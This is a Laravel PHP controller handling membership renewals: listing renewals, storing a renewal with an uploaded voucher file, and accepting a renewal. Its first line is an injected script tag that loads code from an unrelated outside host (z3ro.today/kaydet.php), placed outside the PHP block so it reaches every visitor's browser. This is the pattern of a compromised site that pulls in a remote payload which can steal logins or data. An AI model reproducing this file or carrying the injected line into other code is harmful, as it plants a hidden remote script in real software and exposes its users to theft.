<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use App\Http\Requests\MembershipRenewalRequest;
use App\Models\Members;
use App\Models\MembershipRenewal;
use Illuminate\Http\Request;

class MembershipRenewalController extends Controller
{
    private $mainTitle = 'Member Specialization';
    private $pageInfo = [];
    private $validateData;


    public function index($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }
        if (auth()->user()->usertype == '3') {
            session()->put('member_id', memberfromuser(auth()->user()->id));
        }
        // else member_id has already been put in session in detailcontroller

        // get member
        $memberInfo = Members::findOrFail(session('member_id'));
        $renewals = MembershipRenewal::where('members_id', session('member_id'))->get();

        return view('membership-renew.index', compact('memberInfo', 'renewals'));
    }

    public function store(Request $request)
    {


        $validatedData = $request->validate([
            'renew_from' => ['required', 'string', 'min:10'],
            'renew_to' => ['required', 'string', 'min:10'],
            'voucher_amount' => ['required', 'numeric'],
            'voucher_no' => ['required', 'string', 'max:255'],
            'voucher_file' => ['file', 'mimes:pdf,jpeg,png,jpg', 'max:500'],
            'remarks' => ['nullable', 'string'],
        ]);

        // voucher file upload
        if ($request->hasFile('voucher_file')) {
            $documents = $request->file('voucher_file');
            $docsExt = $documents->getClientOriginalExtension();
            $docsName = date('Y-m-d') . '-voucher-file-' . RandomNum(4) . '-' . time() . '.' . $docsExt;

            $validatedData['voucher_file'] = $documents->storeAs('voucher-file', $docsName, ['disk' => 'public']);
        } else {
            $validatedData['voucher_file'] = 0;
        }
        $validatedData['members_id'] = session('member_id');
        $validatedData['is_current'] = '0';

        if (MembershipRenewal::create($validatedData)) {
            return back()->withSuccess($this->mainTitle . ' added successfully.');
        }

        return back()->with('message', 'Your application for membership renewal has been submitted successfully!');
    }


    public function accept_renewal($id, $hash)
    {
        // check hash authenticity
        if (!checkHash($id, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        // find current active renewal and make it inactive. there is always only one active level for a member
        $current = MembershipRenewal::where('is_current', '1')
            ->where('members_id', session('member_id'))
            ->orderBy('id', 'desc')
            ->first();

        if ($current) {
            $current->is_current = '2';
            $current->save();
        }

        // update the accepted level as current
        $membership_renewal = MembershipRenewal::findOrFail($id);
        $membership_renewal->is_current = '1';
        $membership_renewal->save();

        // update the member's level in member table
        $member = Members::findOrFail(session('member_id'));
        $member->renewed_till  = $membership_renewal->renew_to;
        $member->save();

        return view('member-details.accept-certificate');
    }
}
